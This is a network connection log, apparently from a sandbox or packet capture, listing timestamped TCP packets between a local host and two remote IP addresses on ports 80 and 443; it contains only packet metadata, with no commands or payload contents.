Nov 23, 2024 05:02:25.935056925 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.935098886 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.935098886 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.935856104 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.935899973 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.935900927 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.935975075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.936815977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.936858892 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.936916113 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.936966896 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.937722921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.937767029 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.937810898 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.937851906 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.938714981 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.938800097 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.938823938 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.938870907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.939610958 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.939683914 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.939717054 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.939790010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.940536022 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.940608978 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.940646887 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.940713882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.941462040 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.941546917 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.941581964 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.941636086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.942408085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.942461967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.942508936 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.942625046 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.943350077 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.943413973 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.943458080 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.943526983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.944281101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.944339037 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.944375038 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.944417000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.945209980 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.945277929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.945322990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.945432901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.946170092 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.946230888 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.946285963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.946335077 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.946670055 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.946861029 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.946924925 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.946985006 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.947009087 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.947026014 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.947035074 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.947098970 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.947144032 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.947173119 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.947287083 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.948009968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.948124886 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.948129892 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.948219061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.948954105 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.949059963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.949071884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.949126959 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.949800968 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.949839115 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.949892044 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.949896097 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.949943066 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.950025082 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.950042963 CET	49736	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.950051069 CET	443	49736	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.950088024 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.950829983 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.950860977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.950875044 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.950928926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.951793909 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.951847076 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.951885939 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.951936007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.952703953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.952752113 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.952795982 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.952840090 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.953632116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.953742027 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.953762054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.953779936 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.954570055 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.954633951 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.954633951 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.954682112 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.979618073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.979702950 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.979732037 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.979783058 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.980088949 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.980173111 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.980210066 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.980256081 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.981031895 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.981079102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.981102943 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.981122017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.981972933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.982036114 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.982072115 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.982117891 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.982913017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.982949972 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.982979059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.983020067 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.983829975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.983916998 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.983916998 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.984066010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.984764099 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.984807014 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.984834909 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.984885931 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.985718012 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.985775948 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.985786915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.985827923 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.986670971 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.986709118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.986715078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.986752987 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.987610102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.987654924 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.987669945 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.987718105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.014985085 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.015064001 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.015219927 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.015258074 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.015258074 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.015271902 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.015276909 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.017641068 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.017667055 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.017770052 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.017868996 CET	49737	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.017883062 CET	443	49737	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.056004047 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.056082010 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.056222916 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.056222916 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.056446075 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.056520939 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.056549072 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.056613922 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.057369947 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.057430983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.057529926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.057578087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.058440924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.058505058 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.058548927 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.058618069 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.059246063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.059330940 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.059366941 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.059506893 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.060197115 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.060237885 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.060291052 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.060363054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.061129093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.061187029 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.061234951 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.061285019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.062087059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.062169075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.062185049 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.062231064 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.062992096 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.063085079 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.063100100 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.063163042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.063966990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.064040899 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.064058065 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.064179897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.064861059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.064924955 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.064969063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.065037012 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.065484047 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.065561056 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.065608025 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.065680027 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.065700054 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.065715075 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.065721989 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.065807104 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.065862894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.065901041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.065973043 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.066756964 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.066814899 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.066862106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.066910982 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.067679882 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.067730904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.067802906 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.067864895 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.068089962 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.068114996 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.068178892 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.068309069 CET	49738	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.068321943 CET	443	49738	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.068608046 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.068655014 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.068698883 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.068777084 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.069531918 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.069583893 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.069654942 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.069717884 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.070482969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.070533037 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.070544004 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.070597887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.091825962 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.091903925 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.092048883 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.092114925 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.092114925 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.092149973 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.092180967 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.093887091 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.093904018 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.093983889 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.094093084 CET	49739	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.094105959 CET	443	49739	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.097105980 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.097184896 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.097235918 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.097294092 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.097310066 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.097325087 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.097331047 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.099157095 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.099188089 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.099277973 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.099364042 CET	49740	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:26.099380016 CET	443	49740	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:26.146975994 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.147008896 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.147227049 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.147227049 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.147353888 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.147439957 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.147456884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.147516966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.148308039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.148381948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.148408890 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.148473978 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.149226904 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.149302959 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.149344921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.149425983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.150192022 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.150233984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.150319099 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.150388956 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.151118040 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.151160002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.151278019 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.151335001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.152060986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.152124882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.152183056 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.152295113 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.152964115 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.153021097 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.153067112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.153120995 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.153906107 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.153964996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.154006958 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.154109001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.154863119 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.154911041 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.155019999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.155069113 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.155800104 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.155860901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.155899048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.155939102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.156744003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.156838894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.156869888 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.156887054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.157672882 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.157732010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.157815933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.157896996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.158586979 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.158685923 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.158724070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.158724070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.159514904 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.159620047 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.159638882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.159662008 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.160446882 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.160487890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.160537004 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.160598993 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.161385059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.161475897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.161497116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.161557913 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.162338972 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.162391901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.162436962 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.162528038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.163271904 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.163330078 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.163377047 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.163477898 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.164211035 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.164259911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.164321899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.164413929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.165132999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.165195942 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.165232897 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:26.165327072 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:26.166032076 CET	80	49724	185.215.113.206	192.168.2.6
